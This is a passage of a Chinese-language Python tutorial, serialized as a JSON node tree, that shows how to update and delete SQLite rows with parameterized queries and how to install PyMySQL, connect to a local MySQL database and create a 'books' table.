创建一个Cursor:\n",{"type":18,"tag":297,"props":82870,"children":82871},{"class":299,"line":826},[82872],{"type":18,"tag":297,"props":82873,"children":82874},{},[82875],{"type":24,"value":81864},{"type":18,"tag":297,"props":82877,"children":82878},{"class":299,"line":4524},[82879],{"type":18,"tag":297,"props":82880,"children":82881},{},[82882],{"type":24,"value":82883},"cursor.execute('update user set name = ? where id = ?',('Xiao',1))\n",{"type":18,"tag":297,"props":82885,"children":82886},{"class":299,"line":4533},[82887],{"type":18,"tag":297,"props":82888,"children":82889},{},[82890],{"type":24,"value":82467},{"type":18,"tag":297,"props":82892,"children":82893},{"class":299,"line":4546},[82894],{"type":18,"tag":297,"props":82895,"children":82896},{},[82897],{"type":24,"value":82898},"result = cursor.fetchall()\n",{"type":18,"tag":297,"props":82900,"children":82901},{"class":299,"line":4555},[82902],{"type":18,"tag":297,"props":82903,"children":82904},{},[82905],{"type":24,"value":28784},{"type":18,"tag":297,"props":82907,"children":82908},{"class":299,"line":4568},[82909],{"type":18,"tag":297,"props":82910,"children":82911},{"emptyLinePlaceholder":793},[82912],{"type":24,"value":796},{"type":18,"tag":297,"props":82914,"children":82915},{"class":299,"line":4577},[82916],{"type":18,"tag":297,"props":82917,"children":82918},{},[82919],{"type":24,"value":81902},{"type":18,"tag":297,"props":82921,"children":82922},{"class":299,"line":4590},[82923],{"type":18,"tag":297,"props":82924,"children":82925},{},[82926],{"type":24,"value":81910},{"type":18,"tag":297,"props":82928,"children":82929},{"class":299,"line":4599},[82930],{"type":18,"tag":297,"props":82931,"children":82932},{"emptyLinePlaceholder":793},[82933],{"type":24,"value":796},{"type":18,"tag":297,"props":82935,"children":82936},{"class":299,"line":4607},[82937],{"type":18,"tag":297,"props":82938,"children":82939},{},[82940],{"type":24,"value":82242},{"type":18,"tag":297,"props":82942,"children":82943},{"class":299,"line":4616},[82944],{"type":18,"tag":297,"props":82945,"children":82946},{},[82947],{"type":24,"value":82250},{"type":18,"tag":297,"props":82949,"children":82950},{"class":299,"line":4624},[82951],{"type":18,"tag":297,"props":82952,"children":82953},{"emptyLinePlaceholder":793},[82954],{"type":24,"value":796},{"type":18,"tag":297,"props":82956,"children":82957},{"class":299,"line":4633},[82958],{"type":18,"tag":297,"props":82959,"children":82960},{},[82961],{"type":24,"value":82962},"# 关闭Connection:\n",{"type":18,"tag":297,"props":82964,"children":82965},{"class":299,"line":4641},[82966],{"type":18,"tag":297,"props":82967,"children":82968},{},[82969],{"type":24,"value":81933},{"type":18,"tag":34,"props":82971,"children":82972},{},[82973],{"type":24,"value":82736},{"type":18,"tag":287,"props":82975,"children":82977},{"code":82976},"[(1, 'Xiao'), (2, 'xiaolan'), (3, 'xiaoliu')]\n",[82978],{"type":18,"tag":74,"props":82979,"children":82980},{"__ignoreMap":8},[82981],{"type":24,"value":82976},{"type":18,"tag":3561,"props":82983,"children":82985},{"id":82984},"_4删除用户数据信息",[82986],{"type":24,"value":82987},"4）删除用户数据信息",{"type":18,"tag":34,"props":82989,"children":82990},{},[82991],{"type":24,"value":82992},"删除user表中的数据可以使用如下SQL语句：",{"type":18,"tag":287,"props":82994,"children":82996},{"code":82995,"language":81991,"meta":8,"className":81992,"style":8},"delete  from 表名  where 查询条件\n",[82997],{"type":18,"tag":74,"props":82998,"children":82999},{"__ignoreMap":8},[83000],{"type":18,"tag":297,"props":83001,"children":83002},{"class":299,"line":300},[83003],{"type":18,"tag":297,"props":83004,"children":83005},{},[83006],{"type":24,"value":82995},{"type":18,"tag":34,"props":83008,"children":83009},{},[83010],{"type":24,"value":83011},"下面通过一个实例来学习如何删除表中数据。",{"type":18,"tag":34,"props":83013,"children":83014},{},[83015],{"type":18,"tag":105,"props":83016,"children":83017},{},[83018],{"type":24,"value":83019},"删除用户数据信息",{"type":18,"tag":34,"props":83021,"children":83022},{},[83023,83025,83030],{"type":24,"value":83024},"将SQLite数据库中user表ID为1的数据删除，并使用",{"type":18,"tag":74,"props":83026,"children":83028},{"className":83027},[],[83029],{"type":24,"value":82385},{"type":24,"value":83031},"获取表中的所有数据，查看删除后的结果。具体代码如下：",{"type":18,"tag":287,"props":83033,"children":83035},{"code":83034,"language":28712,"meta":8,"className":28710,"style":8},"import sqlite3\n\n# 连接到SQLite数据库，数据库文件是info.db\nconn = sqlite3.connect('info.db')\n\n# 创建一个Cursor:\ncursor = conn.cursor()\ncursor.execute('delete from user where id = ?',(1,))\ncursor.execute('select * from user')\nresult = cursor.fetchall()\nprint(result)\n\n# 关闭游标\ncursor.close()\n\n# 提交事务\nconn.commit()\n\n# 关闭Connection:\nconn.close()\n",[83036],{"type":18,"tag":74,"props":83037,"children":83038},{"__ignoreMap":8},[83039,83046,83053,83060,83067,83074,83081,83088,83096,83103,83110,83117,83124,83131,83138,83145,83152,83159,83166,83173],{"type":18,"tag":297,"props":83040,"children":83041},{"class":299,"line":300},[83042],{"type":18,"tag":297,"props":83043,"children":83044},{},[83045],{"type":24,"value":81810},{"type":18,"tag":297,"props":83047,"children":83048},{"class":299,"line":657},[83049],{"type":18,"tag":297,"props":83050,"children":83051},{"emptyLinePlaceholder":793},[83052],{"type":24,"value":796},{"type":18,"tag":297,"props":83054,"children":83055},{"class":299,"line":662},[83056],{"type":18,"tag":297,"props":83057,"children":83058},{},[83059],{"type":24,"value":82846},{"type":18,"tag":297,"props":83061,"children":83062},{"class":299,"line":799},[83063],{"type":18,"tag":297,"props":83064,"children":83065},{},[83066],{"type":24,"value":81841},{"type":18,"tag":297,"props":83068,"children":83069},{"class":299,"line":808},[83070],{"type":18,"tag":297,"props":83071,"children":83072},{"emptyLinePlaceholder":793},[83073],{"type":24,"value":796},{"type":18,"tag":297,"props":83075,"children":83076},{"class":299,"line":817},[83077],{"type":18,"tag":297,"props":83078,"children":83079},{},[83080],{"type":24,"value":82868},{"type":18,"tag":297,"props":83082,"children":83083},{"class":299,"line":826},[83084],{"type":18,"tag":297,"props":83085,"children":83086},{},[83087],{"type":24,"value":81864},{"type":18,"tag":297,"props":83089,"children":83090},{"class":299,"line":4524},[83091],{"type":18,"tag":297,"props":83092,"children":83093},{},[83094],{"type":24,"value":83095},"cursor.execute('delete from user where id = ?',(1,))\n",{"type":18,"tag":297,"props":83097,"children":83098},{"class":299,"line":4533},[83099],{"type":18,"tag":297,"props":83100,"children":83101},{},[83102],{"type":24,"value":82467},{"type":18,"tag":297,"props":83104,"children":83105},{"class":299,"line":4546},[83106],{"type":18,"tag":297,"props":83107,"children":83108},{},[83109],{"type":24,"value":82898},{"type":18,"tag":297,"props":83111,"children":83112},{"class":299,"line":4555},[83113],{"type":18,"tag":297,"props":83114,"children":83115},{},[83116],{"type":24,"value":28784},{"type":18,"tag":297,"props":83118,"children":83119},{"class":299,"line":4568},[83120],{"type":18,"tag":297,"props":83121,"children":83122},{"emptyLinePlaceholder":793},[83123],{"type":24,"value":796},{"type":18,"tag":297,"props":83125,"children":83126},{"class":299,"line":4577},[83127],{"type":18,"tag":297,"props":83128,"children":83129},{},[83130],{"type":24,"value":81902},{"type":18,"tag":297,"props":83132,"children":83133},{"class":299,"line":4590},[83134],{"type":18,"tag":297,"props":83135,"children":83136},{},[83137],{"type":24,"value":81910},{"type":18,"tag":297,"props":83139,"children":83140},{"class":299,"line":4599},[83141],{"type":18,"tag":297,"props":83142,"children":83143},{"emptyLinePlaceholder":793},[83144],{"type":24,"value":796},{"type":18,"tag":297,"props":83146,"children":83147},{"class":299,"line":4607},[83148],{"type":18,"tag":297,"props":83149,"children":83150},{},[83151],{"type":24,"value":82242},{"type":18,"tag":297,"props":83153,"children":83154},{"class":299,"line":4616},[83155],{"type":18,"tag":297,"props":83156,"children":83157},{},[83158],{"type":24,"value":82250},{"type":18,"tag":297,"props":83160,"children":83161},{"class":299,"line":4624},[83162],{"type":18,"tag":297,"props":83163,"children":83164},{"emptyLinePlaceholder":793},[83165],{"type":24,"value":796},{"type":18,"tag":297,"props":83167,"children":83168},{"class":299,"line":4633},[83169],{"type":18,"tag":297,"props":83170,"children":83171},{},[83172],{"type":24,"value":82962},{"type":18,"tag":297,"props":83174,"children":83175},{"class":299,"line":4641},[83176],{"type":18,"tag":297,"props":83177,"children":83178},{},[83179],{"type":24,"value":81933},{"type":18,"tag":34,"props":83181,"children":83182},{},[83183],{"type":24,"value":83184},"执行上述代码后，user表中ID为1的数据将被删除。运行结果如下：",{"type":18,"tag":287,"props":83186,"children":83187},{"code":82739},[83188],{"type":18,"tag":74,"props":83189,"children":83190},{"__ignoreMap":8},[83191],{"type":24,"value":82739},{"type":18,"tag":19,"props":83193,"children":83195},{"id":83194},"使用mysql",[83196],{"type":24,"value":83197},"使用MySQL",{"type":18,"tag":27,"props":83199,"children":83201},{"id":83200},"安装pymysql",[83202],{"type":24,"value":83203},"安装PyMySQL",{"type":18,"tag":34,"props":83205,"children":83206},{},[83207],{"type":24,"value":83208},"由于MySQL服务器以独立的进程运行，并通过网络对外服务，所以，需要支持Python的MySQL驱动来连接到MySQL服务器。在Python中支持MySQL的数据库模块有很多，我们选择使用PyMySQL。",{"type":18,"tag":34,"props":83210,"children":83211},{},[83212],{"type":24,"value":83213},"PyMySQL的安装比较简单，在终端中执行如下命令：",{"type":18,"tag":287,"props":83215,"children":83217},{"code":83216,"language":33404,"meta":8,"className":33402,"style":8},"pip install pymysql\n",[83218],{"type":18,"tag":74,"props":83219,"children":83220},{"__ignoreMap":8},[83221],{"type":18,"tag":297,"props":83222,"children":83223},{"class":299,"line":300},[83224,83228,83232],{"type":18,"tag":297,"props":83225,"children":83226},{"style":304},[83227],{"type":24,"value":28691},{"type":18,"tag":297,"props":83229,"children":83230},{"style":310},[83231],{"type":24,"value":28696},{"type":18,"tag":297,"props":83233,"children":83234},{"style":310},[83235],{"type":24,"value":83236}," pymysql\n",{"type":18,"tag":34,"props":83238,"children":83239},{},[83240],{"type":24,"value":83241},"运行结果如图12所示。",{"type":18,"tag":34,"props":83243,"children":83244},{},[83245],{"type":18,"tag":54,"props":83246,"children":83249},{"alt":83247,"src":83248},"Pasted image 20250721105513","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250721105513.png",[],{"type":18,"tag":27,"props":83251,"children":83253},{"id":83252},"连接数据库",[83254],{"type":24,"value":83252},{"type":18,"tag":34,"props":83256,"children":83257},{},[83258],{"type":24,"value":83259},"使用数据库的第一步是连接数据库。接下来使用PyMySQL连接数据库。由于PyMySQL也遵循Python Database API 2.0规范，所以操作MySQL数据库的方式与SQLite相似。我们可以通过类比的方式来学习。",{"type":18,"tag":34,"props":83261,"children":83262},{},[83263],{"type":18,"tag":105,"props":83264,"children":83265},{},[83266],{"type":24,"value":83267},"使用PyMySQL连接数据库",{"type":18,"tag":34,"props":83269,"children":83270},{},[83271,83273,83279],{"type":24,"value":83272},"前面我们已经创建了一个MySQL连接",{"type":18,"tag":74,"props":83274,"children":83276},{"className":83275},[],[83277],{"type":24,"value":83278},"studyPython",{"type":24,"value":83280},"，并且在安装数据库时设置了数据库的用户名“root”和密码“123456”。下面通过connect()方法连接MySQL数据库info，具体代码如下：",{"type":18,"tag":287,"props":83282,"children":83284},{"code":83283,"language":28712,"meta":8,"className":28710,"style":8},"import pymysql\n\n# 打开数据库连接，参数1：主机名或IP；参数2：用户名；参数3：密码；参数4：数据库名称\ndb = pymysql.connect(  \n    host=\"localhost\",  \n    user=\"root\",  \n    password=\"123456\",  \n    db=\"info\" \n)\n\n# 使用cursor()方法创建一个游标对象cursor\ncursor = db.cursor()\n\n# 使用execute()方法执行SQL查询\ncursor.execute(\"SELECT VERSION()\")\n\n# 使用fetchone()方法获取单条数据\ndata = cursor.fetchone()\nprint (\"Database version : %s \" % data)\n\n# 关闭数据库连接\ndb.close()\n",[83285],{"type":18,"tag":74,"props":83286,"children":83287},{"__ignoreMap":8},[83288,83296,83303,83311,83319,83327,83335,83343,83351,83358,83365,83373,83381,83388,83396,83404,83411,83419,83427,83435,83442,83450],{"type":18,"tag":297,"props":83289,"children":83290},{"class":299,"line":300},[83291],{"type":18,"tag":297,"props":83292,"children":83293},{},[83294],{"type":24,"value":83295},"import pymysql\n",{"type":18,"tag":297,"props":83297,"children":83298},{"class":299,"line":657},[83299],{"type":18,"tag":297,"props":83300,"children":83301},{"emptyLinePlaceholder":793},[83302],{"type":24,"value":796},{"type":18,"tag":297,"props":83304,"children":83305},{"class":299,"line":662},[83306],{"type":18,"tag":297,"props":83307,"children":83308},{},[83309],{"type":24,"value":83310},"# 打开数据库连接，参数1：主机名或IP；参数2：用户名；参数3：密码；参数4：数据库名称\n",{"type":18,"tag":297,"props":83312,"children":83313},{"class":299,"line":799},[83314],{"type":18,"tag":297,"props":83315,"children":83316},{},[83317],{"type":24,"value":83318},"db = pymysql.connect(  \n",{"type":18,"tag":297,"props":83320,"children":83321},{"class":299,"line":808},[83322],{"type":18,"tag":297,"props":83323,"children":83324},{},[83325],{"type":24,"value":83326},"    host=\"localhost\",  \n",{"type":18,"tag":297,"props":83328,"children":83329},{"class":299,"line":817},[83330],{"type":18,"tag":297,"props":83331,"children":83332},{},[83333],{"type":24,"value":83334},"    user=\"root\",  \n",{"type":18,"tag":297,"props":83336,"children":83337},{"class":299,"line":826},[83338],{"type":18,"tag":297,"props":83339,"children":83340},{},[83341],{"type":24,"value":83342},"    password=\"123456\",  \n",{"type":18,"tag":297,"props":83344,"children":83345},{"class":299,"line":4524},[83346],{"type":18,"tag":297,"props":83347,"children":83348},{},[83349],{"type":24,"value":83350},"    db=\"info\" \n",{"type":18,"tag":297,"props":83352,"children":83353},{"class":299,"line":4533},[83354],{"type":18,"tag":297,"props":83355,"children":83356},{},[83357],{"type":24,"value":4760},{"type":18,"tag":297,"props":83359,"children":83360},{"class":299,"line":4546},[83361],{"type":18,"tag":297,"props":83362,"children":83363},{"emptyLinePlaceholder":793},[83364],{"type":24,"value":796},{"type":18,"tag":297,"props":83366,"children":83367},{"class":299,"line":4555},[83368],{"type":18,"tag":297,"props":83369,"children":83370},{},[83371],{"type":24,"value":83372},"# 使用cursor()方法创建一个游标对象cursor\n",{"type":18,"tag":297,"props":83374,"children":83375},{"class":299,"line":4568},[83376],{"type":18,"tag":297,"props":83377,"children":83378},{},[83379],{"type":24,"value":83380},"cursor = db.cursor()\n",{"type":18,"tag":297,"props":83382,"children":83383},{"class":299,"line":4577},[83384],{"type":18,"tag":297,"props":83385,"children":83386},{"emptyLinePlaceholder":793},[83387],{"type":24,"value":796},{"type":18,"tag":297,"props":83389,"children":83390},{"class":299,"line":4590},[83391],{"type":18,"tag":297,"props":83392,"children":83393},{},[83394],{"type":24,"value":83395},"# 使用execute()方法执行SQL查询\n",{"type":18,"tag":297,"props":83397,"children":83398},{"class":299,"line":4599},[83399],{"type":18,"tag":297,"props":83400,"children":83401},{},[83402],{"type":24,"value":83403},"cursor.execute(\"SELECT VERSION()\")\n",{"type":18,"tag":297,"props":83405,"children":83406},{"class":299,"line":4607},[83407],{"type":18,"tag":297,"props":83408,"children":83409},{"emptyLinePlaceholder":793},[83410],{"type":24,"value":796},{"type":18,"tag":297,"props":83412,"children":83413},{"class":299,"line":4616},[83414],{"type":18,"tag":297,"props":83415,"children":83416},{},[83417],{"type":24,"value":83418},"# 使用fetchone()方法获取单条数据\n",{"type":18,"tag":297,"props":83420,"children":83421},{"class":299,"line":4624},[83422],{"type":18,"tag":297,"props":83423,"children":83424},{},[83425],{"type":24,"value":83426},"data = cursor.fetchone()\n",{"type":18,"tag":297,"props":83428,"children":83429},{"class":299,"line":4633},[83430],{"type":18,"tag":297,"props":83431,"children":83432},{},[83433],{"type":24,"value":83434},"print (\"Database version : %s \" % data)\n",{"type":18,"tag":297,"props":83436,"children":83437},{"class":299,"line":4641},[83438],{"type":18,"tag":297,"props":83439,"children":83440},{"emptyLinePlaceholder":793},[83441],{"type":24,"value":796},{"type":18,"tag":297,"props":83443,"children":83444},{"class":299,"line":4650},[83445],{"type":18,"tag":297,"props":83446,"children":83447},{},[83448],{"type":24,"value":83449},"# 关闭数据库连接\n",{"type":18,"tag":297,"props":83451,"children":83452},{"class":299,"line":4658},[83453],{"type":18,"tag":297,"props":83454,"children":83455},{},[83456],{"type":24,"value":83457},"db.close()\n",{"type":18,"tag":34,"props":83459,"children":83460},{},[83461,83463,83468,83470,83476,83478,83483,83485,83490],{"type":24,"value":83462},"上述代码中，首先使用connect()方法连接数据库，然后使用",{"type":18,"tag":74,"props":83464,"children":83466},{"className":83465},[],[83467],{"type":24,"value":81488},{"type":24,"value":83469},"方法创建游标，接着使用",{"type":18,"tag":74,"props":83471,"children":83473},{"className":83472},[],[83474],{"type":24,"value":83475},"excute()",{"type":24,"value":83477},"方法执行SQL语句查看MySQL数据库版本，然后使用",{"type":18,"tag":74,"props":83479,"children":83481},{"className":83480},[],[83482],{"type":24,"value":81678},{"type":24,"value":83484},"方法获取数据，最后使用",{"type":18,"tag":74,"props":83486,"children":83488},{"className":83487},[],[83489],{"type":24,"value":60893},{"type":24,"value":83491},"方法关闭数据库连接。执行结果如下：",{"type":18,"tag":287,"props":83493,"children":83495},{"code":83494},"Database version : 8.0.41 \n",[83496],{"type":18,"tag":74,"props":83497,"children":83498},{"__ignoreMap":8},[83499],{"type":24,"value":83494},{"type":18,"tag":27,"props":83501,"children":83503},{"id":83502},"创建数据表",[83504],{"type":24,"value":83502},{"type":18,"tag":34,"props":83506,"children":83507},{},[83508,83510,83516],{"type":24,"value":83509},"数据库连接成功以后，我们就可以为数据库创建数据表了。下面通过一个实例，使用",{"type":18,"tag":74,"props":83511,"children":83513},{"className":83512},[],[83514],{"type":24,"value":83515},"execute()",{"type":24,"value":83517},"方法来为数据库创建表books图书表。",{"type":18,"tag":34,"props":83519,"children":83520},{},[83521],{"type":18,"tag":105,"props":83522,"children":83523},{},[83524],{"type":24,"value":83525},"创建books图书表",{"type":18,"tag":34,"props":83527,"children":83528},{},[83529],{"type":24,"value":83530},"books表包含id（主键）、name（图书名称），category（图书分类），price（图书价格）和publish_time（出版时间）5个字段。创建books表的SQL语句如下：",{"type":18,"tag":287,"props":83532,"children":83534},{"code":83533,"language":81991,"meta":8,"className":81992,"style":8},"CREATE TABLE books (\n  id int(8) NOT NULL AUTO_INCREMENT,\n  name varchar(50) NOT NULL,\n  category varchar(50) NOT NULL,\n  price decimal(10,2) DEFAULT NULL,\n  publish_time date DEFAULT NULL,\n  PRIMARY KEY (id)\n) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;\n",[83535],{"type":18,"tag":74,"props":83536,"children":83537},{"__ignoreMap":8},[83538,83546,83554,83562,83570,83578,83586,83594],{"type":18,"tag":297,"props":83539,"children":83540},{"class":299,"line":300},[83541],{"type":18,"tag":297,"props":83542,"children":83543},{},[83544],{"type":24,"value":83545},"CREATE TABLE books (\n",{"type":18,"tag":297,"props":83547,"children":83548},{"class":299,"line":657},[83549],{"type":18,"tag":297,"props":83550,"children":83551},{},[83552],{"type":24,"value":83553},"  id int(8) NOT NULL AUTO_INCREMENT,\n",{"type":18,"tag":297,"props":83555,"children":83556},{"class":299,"line":662},[83557],{"type":18,"tag":297,"props":83558,"children":83559},{},[83560],{"type":24,"value":83561},"  name varchar(50) NOT NULL,\n",{"type":18,"tag":297,"props":83563,"children":83564},{"class":299,"line":799},[83565],{"type":18,"tag":297,"props":83566,"children":83567},{},[83568],{"type":24,"value":83569},"  category varchar(50) NOT NULL,\n",{"type":18,"tag":297,"props":83571,"children":83572},{"class":299,"line":808},[83573],{"type":18,"tag":297,"props":83574,"children":83575},{},[83576],{"type":24,"value":83577},"  price decimal(10,2) DEFAULT NULL,\n",{"type":18,"tag":297,"props":83579,"children":83580},{"class":299,"line":817},[83581],{"type":18,"tag":297,"props":83582,"children":83583},{},[83584],{"type":24,"value":83585},"  publish_time date DEFAULT NULL,\n",{"type":18,"tag":297,"props":83587,"children":83588},{"class":299,"line":826},[83589],{"type":18,"tag":297,"props":83590,"children":83591},{},[83592],{"type":24,"value":83593},"  PRIMARY KEY (id)\n",{"type":18,"tag":297,"props":83595,"children":83596},{"class":299,"line":4524},[83597],{"type":18,"tag":297,"props":83598,"children":83599},{},[83600],{"type":24,"value":83601},") ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;\n",{"type":18,"tag":34,"props":83603,"children":83604},{},[83605],{"type":24,"value":83606},"在创建数据表前，使用如下语句：",{"type":18,"tag":287,"props":83608,"children":83610},{"code":83609,"language":81991,"meta":8,"className":81992,"style":8},"DROP TABLE IF EXISTS `books`;\n",[83611],{"type":18,"tag":74,"props":83612,"children":83613},{"__ignoreMap":8},[83614],{"type":18,"tag":297,"props":83615,"children":83616},{"class":299,"line":300},[83617],{"type":18,"tag":297,"props":83618,"children":83619},{},[83620],{"type":24,"value":83609},{"type":18,"tag":34,"props":83622,"children":83623},{},[83624],{"type":24,"value":83625},"如果info数据库中已经存在books，那么先删除books，然后再创建books数据表。具体代码如下：",{"type":18,"tag":287,"props":83627,"children":83629},{"code":83628,"language":28712,"meta":8,"className":28710,"style":8},"import pymysql\n\n# 打开数据库连接\ndb = pymysql.connect(  \n    host=\"localhost\",  \n    user=\"root\",  \n    password=\"123456\",  \n    db=\"info\" \n)\n\n# 使用cursor()方法创建一个游标对象cursor\ncursor = db.cursor()\n\n# 使用 execute()方法执行SQL，如果表存在则删除\ncursor.execute(\"DROP TABLE IF EXISTS books\")\n\n# 使用预处理语句创建表\nsql = \"\"\"\nCREATE TABLE books (\n  id int(8) NOT NULL AUTO_INCREMENT,\n  name varchar(50) NOT NULL,\n  category varchar(50) NOT NULL,\n  price decimal(10,2) DEFAULT NULL,\n  publish_time date DEFAULT NULL,\n  PRIMARY KEY (id)\n) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;\n\"\"\"\n\n# 执行SQL语句\ncursor.execute(sql)\n\n# 关闭数据库连接\ndb.close()\n",[83630],{"type":18,"tag":74,"props":83631,"children":83632},{"__ignoreMap":8},[83633,83640,83647,83655,83662,83669,83676,83683,83690,83697,83704,83711,83718,83725,83733,83741,83748,83756,83764,83771,83778,83785,83793,83800,83807,83814,83821,83828,83835,83843,83851,83858,83865],{"type":18,"tag":297,"props":83634,"children":83635},{"class":299,"line":300},[83636],{"type":18,"tag":297,"props":83637,"children":83638},{},[83639],{"type":24,"value":83295},{"type":18,"tag":297,"props":83641,"children":83642},{"class":299,"line":657},[83643],{"type":18,"tag":297,"props":83644,"children":83645},{"emptyLinePlaceholder":793},[83646],{"type":24,"value":796},{"type":18,"tag":297,"props":83648,"children":83649},{"class":299,"line":662},[83650],{"type":18,"tag":297,"props":83651,"children":83652},{},[83653],{"type":24,"value":83654},"# 打开数据库连接\n",{"type":18,"tag":297,"props":83656,"children":83657},{"class":299,"line":799},[83658],{"type":18,"tag":297,"props":83659,"children":83660},{},[83661],{"type":24,"value":83318},{"type":18,"tag":297,"props":83663,"children":83664},{"class":299,"line":808},[83665],{"type":18,"tag":297,"props":83666,"children":83667},{},[83668],{"type":24,"value":83326},{"type":18,"tag":297,"props":83670,"children":83671},{"class":299,"line":817},[83672],{"type":18,"tag":297,"props":83673,"children":83674},{},[83675],{"type":24,"value":83334},{"type":18,"tag":297,"props":83677,"children":83678},{"class":299,"line":826},[83679],{"type":18,"tag":297,"props":83680,"children":83681},{},[83682],{"type":24,"value":83342},{"type":18,"tag":297,"props":83684,"children":83685},{"class":299,"line":4524},[83686],{"type":18,"tag":297,"props":83687,"children":83688},{},[83689],{"type":24,"value":83350},{"type":18,"tag":297,"props":83691,"children":83692},{"class":299,"line":4533},[83693],{"type":18,"tag":297,"props":83694,"children":83695},{},[83696],{"type":24,"value":4760},{"type":18,"tag":297,"props":83698,"children":83699},{"class":299,"line":4546},[83700],{"type":18,"tag":297,"props":83701,"children":83702},{"emptyLinePlaceholder":793},[83703],{"type":24,"value":796},{"type":18,"tag":297,"props":83705,"children":83706},{"class":299,"line":4555},[83707],{"type":18,"tag":297,"props":83708,"children":83709},{},[83710],{"type":24,"value":83372},{"type":18,"tag":297,"props":83712,"children":83713},{"class":299,"line":4568},[83714],{"type":18,"tag":297,"props":83715,"children":83716},{},[83717],{"type":24,"value":83380},{"type":18,"tag":297,"props":83719,"children":83720},{"class":299,"line":4577},[83721],{"type":18,"tag":297,"props":83722,"children":83723},{"emptyLinePlaceholder":793},[83724],{"type":24,"value":796},{"type":18,"tag":297,"props":83726,"children":83727},{"class":299,"line":4590},[83728],{"type":18,"tag":297,"props":83729,"children":83730},{},[83731],{"type":24,"value":83732},"# 使用 execute()方法执行SQL，如果表存在则删除\n",{"type":18,"tag":297,"props":83734,"children":83735},{"class":299,"line":4599},[83736],{"type":18,"tag":297,"props":83737,"children":83738},{},[83739],{"type":24,"value":83740},"cursor.execute(\"DROP TABLE IF EXISTS books\")\n",{"type":18,"tag":297,"props":83742,"children":83743},{"class":299,"line":4607},[83744],{"type":18,"tag":297,"props":83745,"children":83746},{"emptyLinePlaceholder":793},[83747],{"type":24,"value":796},{"type":18,"tag":297,"props":83749,"children":83750},{"class":299,"line":4616},[83751],{"type":18,"tag":297,"props":83752,"children":83753},{},[83754],{"type":24,"value":83755},"# 使用预处理语句创建表\n",{"type":18,"tag":297,"props":83757,"children":83758},{"class":299,"line":4624},[83759],{"type":18,"tag":297,"props":83760,"children":83761},{},[83762],{"type":24,"value":83763},"sql = \"\"\"\n",{"type":18,"tag":297,"props":83765,"children":83766},{"class":299,"line":4633},[83767],{"type":18,"tag":297,"props":83768,"children":83769},{},[83770],{"type":24,"value":83545},{"type":18,"tag":297,"props":83772,"children":83773},{"class":299,"line":4641},[83774],{"type":18,"tag":297,"props":83775,"children":83776},{},[83777],{"type":24,"value":83553},{"type":18,"tag":297,"props":83779,"children":83780},{"class":299,"line":4650},[83781],{"type":18,"tag":297,"props":83782,"children":83783},{},[83784],{"type":24,"value":83561},{"type":18,"tag":297,"props":83786,"children":83787},{"class":299,"line":4658},[83788],{"type":18,"tag":297,"props":83789,"children":83790},{},[83791],{"type":24,"value":83792},"  category varchar(50) NOT NULL,\n",{"type":18,"tag":297,"props":83794,"children":83795},{"class":299,"line":4681},[83796],{"type":18,"tag":297,"props":83797,"children":83798},{},[83799],{"type":24,"value":83577},{"type":18,"tag":297,"props":83801,"children":83802},{"class":299,"line":4703},[83803],{"type":18,"tag":297,"props":83804,"children":83805},{},[83806],{"type":24,"value":83585},{"type":18,"tag":297,"props":83808,"children":83809},{"class":299,"line":4711},[83810],{"type":18,"tag":297,"props":83811,"children":83812},{},[83813],{"type":24,"value":83593},{"type":18,"tag":297,"props":83815,"children":83816},{"class":299,"line":4720},[83817],{"type":18,"tag":297,"props":83818,"children":83819},{},[83820],{"type":24,"value":83601},{"type":18,"tag":297,"props":83822,"children":83823},{"class":299,"line":4728},[83824],{"type":18,"tag":297,"props":83825,"children":83826},{},[83827],{"type":24,"value":64687},{"type":18,"tag":297,"props":83829,"children":83830},{"class":299,"line":13515},[83831],{"type":18,"tag":297,"props":83832,"children":83833},{"emptyLinePlaceholder":793},[83834],{"type":24,"value":796},{"type":18,"tag":297,"props":83836,"children":83837},{"class":299,"line":13553},[83838],{"type":18,"tag":297,"props":83839,"children":83840},{},[83841],{"type":24,"value":83842},"# 执行SQL语句\n",{"type":18,"tag":297,"props":83844,"children":83845},{"class":299,"line":13591},[83846],{"type":18,"tag":297,"props":83847,"children":83848},{},[83849],{"type":24,"value":83850},"cursor.execute(sql)\n",{"type":18,"tag":297,"props":83852,"children":83853},{"class":299,"line":13624},[83854],{"type":18,"tag":297,"props":83855,"children":83856},{"emptyLinePlaceholder":793},[83857],{"type":24,"value":796},{"type":18,"tag":297,"props":83859,"children":83860},{"class":299,"line":13632},[83861],{"type":18,"tag":297,"props":83862,"children":83863},{},[83864],{"type":24,"value":83449},{"type":18,"tag":297,"props":83866,"children":83867},{"class":299,"line":13641},[83868],{"type":18,"tag":297,"props":83869,"children":83870},{},[83871],{"type":24,"value":83457},{"type":18,"tag":34,"props":83873,"children":83874},{},[83875],{"type":24,"value":83876},"运行上述代码后，info数据库下就已经创建了一个books表。打开DataGrip（如果已经打开，则进行刷新），发现info数据库下多了一个books表，双击books，效果如图所示。",{"type":18,"tag":34,"props":83878,"children":83879},{},[83880],{"type":18,"tag":54,"props":83881,"children":83884},{"alt":83882,"src":83883},"Pasted image 20250721131222","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250721131222.png",[],{"type":18,"tag":27,"props":83886,"children":83888},{"id":83887},"操作mysql数据表",[83889],{"type":24,"value":83890},"操作MySQL数据表",{"type":18,"tag":34,"props":83892,"children":83893},{},[83894],{"type":24,"value":83895},"MySQL数据表的操作主要包括数据的增删改查，与操作SQLite类似，这里我们通过一个实例讲解如何向books表中新增数据，至于修改、查找和删除数据则不再赘述。",{"type":18,"tag":34,"props":83897,"children":83898},{},[83899],{"type":18,"tag":105,"props":83900,"children":83901},{},[83902],{"type":24,"value":83903},"向books图书表添加图书数据",{"type":18,"tag":34,"props":83905,"children":83906},{},[83907,83909,83914,83916,83922,83924,83929],{"type":24,"value":83908},"在向books图书表中插入图书数据时，可以使用",{"type":18,"tag":74,"props":83910,"children":83912},{"className":83911},[],[83913],{"type":24,"value":83475},{"type":24,"value":83915},"方法添加一条记录，也可以使用",{"type":18,"tag":74,"props":83917,"children":83919},{"className":83918},[],[83920],{"type":24,"value":83921},"executemany()",{"type":24,"value":83923},"方法批量添加多条记录，",{"type":18,"tag":74,"props":83925,"children":83927},{"className":83926},[],[83928],{"type":24,"value":83921},{"type":24,"value":83930},"方法的语法格式如下：",{"type":18,"tag":287,"props":83932,"children":83934},{"code":83933,"language":28712,"meta":8,"className":28710,"style":8},"executemany(ope